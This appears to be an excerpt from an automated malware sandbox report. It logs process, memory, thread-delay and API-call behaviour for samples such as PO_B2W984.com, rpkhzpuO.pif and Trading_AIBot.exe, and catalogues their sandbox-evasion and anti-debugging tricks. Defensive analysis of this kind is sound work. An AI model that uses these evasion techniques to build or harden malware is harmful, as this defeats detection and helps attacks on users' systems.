Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates many large memory junks

Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E10000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E11000 memory commit 500178944
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E3C000 memory commit 500002816
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E3D000 memory commit 500199424
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E6E000 memory commit 501014528
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2F66000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2F68000 memory commit 500015104
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E20000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E21000 memory commit 500178944
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E4C000 memory commit 500002816
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E4D000 memory commit 500199424
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E7E000 memory commit 501014528
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2F76000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2F78000 memory commit 500015104
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2DD0000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2DD1000 memory commit 500178944	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2DFC000 memory commit 500002816	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2DFD000 memory commit 500199424	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2E2E000 memory commit 501014528	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2F26000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: 2F28000 memory commit 500015104	Jump to behavior

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 29530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 29740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 29560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 2C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 6390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 2E390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Memory allocated: EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Memory allocated: 4C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 2D4B0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 2DA90000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 2D660000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 30600000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 30990000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 32990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Memory allocated: 15B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Memory allocated: 1620000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

4_1_004019F0

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9899	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Window / User API: threadDelayed 1920
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Window / User API: threadDelayed 788
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Window / User API: threadDelayed 7272

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_4-11938

Source: C:\Users\Public\Libraries\rpkhzpuO.pif TID: 4180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe TID: 5400	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1420	Thread sleep count: 9899 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4120	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif TID: 4128	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Libraries\rpkhzpuO.pif TID: 532	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe TID: 2832	Thread sleep time: -115200000s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe TID: 2832	Thread sleep time: -436320000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DD58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_02DD58B4

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Thread delayed: delay time: 60000

Source: PO_B2W984.com, 00000000.00000002.22965692413.0000000000943000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@9
Source: PO_B2W984.com, 00000000.00000002.22965692413.000000000095A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Microsofts.exe, 00000006.00000002.24170624386.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllSyst
Source: Oupzhkpr.PIF, 00000010.00000002.23142368522.0000000000789000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Oupzhkpr.PIF, 0000000C.00000002.23062263204.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~~

Source: C:\Users\user\Desktop\PO_B2W984.com	API call chain: ExitProcess graph end node	graph_0-25355
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	API call chain: ExitProcess graph end node	graph_12-24472
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DEEBE8 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_02DEEBE8

Source: C:\Users\user\Desktop\PO_B2W984.com	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process queried: DebugPort
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Code function: 6_2_052107C8 LdrInitializeThunk,LdrInitializeThunk,

6_2_052107C8

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Code function: 4_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_1_0040CE09

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

4_1_004019F0

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DE8798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02DE8798

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Code function: 4_1_0040ADB0 GetProcessHeap,HeapFree,

4_1_0040ADB0

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process token adjusted: Debug

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_1_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_0040E61C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_1_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00416F6A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_1_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_004123F1 SetUnhandledExceptionFilter,	4_1_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_0040E61C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00416F6A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_004123F1 SetUnhandledExceptionFilter,	15_2_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_1_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_0040E61C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_1_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00416F6A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_1_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_004123F1 SetUnhandledExceptionFilter,	15_1_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_0040E61C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_0040E61C
